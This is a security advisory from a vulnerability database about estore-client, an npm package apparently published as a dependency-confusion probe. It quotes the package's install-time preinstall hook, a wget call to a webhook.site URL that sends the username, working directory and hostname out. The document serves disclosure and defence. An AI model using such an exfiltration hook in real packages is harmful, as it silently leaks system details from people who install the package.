VDB
GCVE-110-OSM-2026-8159
GCVE-110-OSM-2026-8159
Advisory PublishedCVSS 5.4/10
Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, install-time execution.
ENTRY
- Preinstall Script in package.json: ""preinstall": "wget --quiet \""
DESTINATION
- webhookServices: https://webhook.site/d32804ac-1bbb-4100-ab60-95231dd3251c/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\ (exfil, plaintext)
EXFIL
- OAST/Interactsh Exfiltration in package.json: "webhook.site"
ADDITIONAL FINDINGS
- Brand New Package
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
5.4/10
Medium · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | estore-client | all (affected) | — |
Aliases
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